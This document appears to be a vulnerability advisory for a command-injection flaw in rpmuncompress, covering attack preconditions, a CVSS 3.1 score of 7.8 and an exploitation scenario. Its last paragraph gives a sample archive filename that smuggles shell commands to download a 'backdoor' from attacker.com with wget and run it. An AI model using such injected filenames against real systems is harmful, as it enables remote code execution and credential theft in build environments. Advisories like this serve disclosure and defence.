rpmuncompress CVE-2026-84838

An attacker must be able to place or supply an archive whose filename contains shell metacharacters into a location where a target user or automated process will invoke rpmuncompress on it - typically via a download, a shared artifact store, a compromised dependency mirror, or social engineering. No special privileges on the target system are required of the attacker. Exploitation is constrained by UI:R: a user or automated workflow must actively invoke rpmuncompress on the malicious file, making fully autonomous network-based exploitation impossible. Systems that only invoke rpmuncompress on internally generated, trusted archives with controlled filenames are not exposed. The impact is scoped to the permissions of the invoking user or service account and does not inherently escalate to root.

The CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) yields a score of 7.8, reflecting low local attack complexity, no system privilege requirement, and full C/I/A impact bounded by the scope of the invoking user's permissions. The critical limiting factor is UI:R - a user or automated process must invoke rpmuncompress on the attacker-controlled file, ruling out fully autonomous exploitation but aligning well with realistic CI/CD pipelines and developer workstations where third-party archives are routinely processed. No EPSS score was provided, and the vulnerability does not appear in the CISA KEV catalog, so exploitation probability cannot be precisely quantified. No public POC has been identified. Despite the local attack vector, the threat is meaningful wherever automated build tooling or developers process externally sourced RPM-adjacent archives, as the attacker's burden is reduced to delivering a convincingly named archive rather than obtaining system credentials.

An attacker crafts an archive whose filename embeds shell metacharacters, for example 'package;wget attacker.com/backdoor -O /tmp/x;chmod+x /tmp/x;/tmp/x;.tar.gz', and delivers it to a target developer or CI/CD pipeline via a malicious package source, a shared artifact repository, or social engineering. When a developer or build script invokes rpmuncompress on the file, the metacharacters break out of the intended decompression command and execute the attacker's payload with the permissions of the invoking process, potentially leading to credential theft, persistence, or lateral movement within the build environment.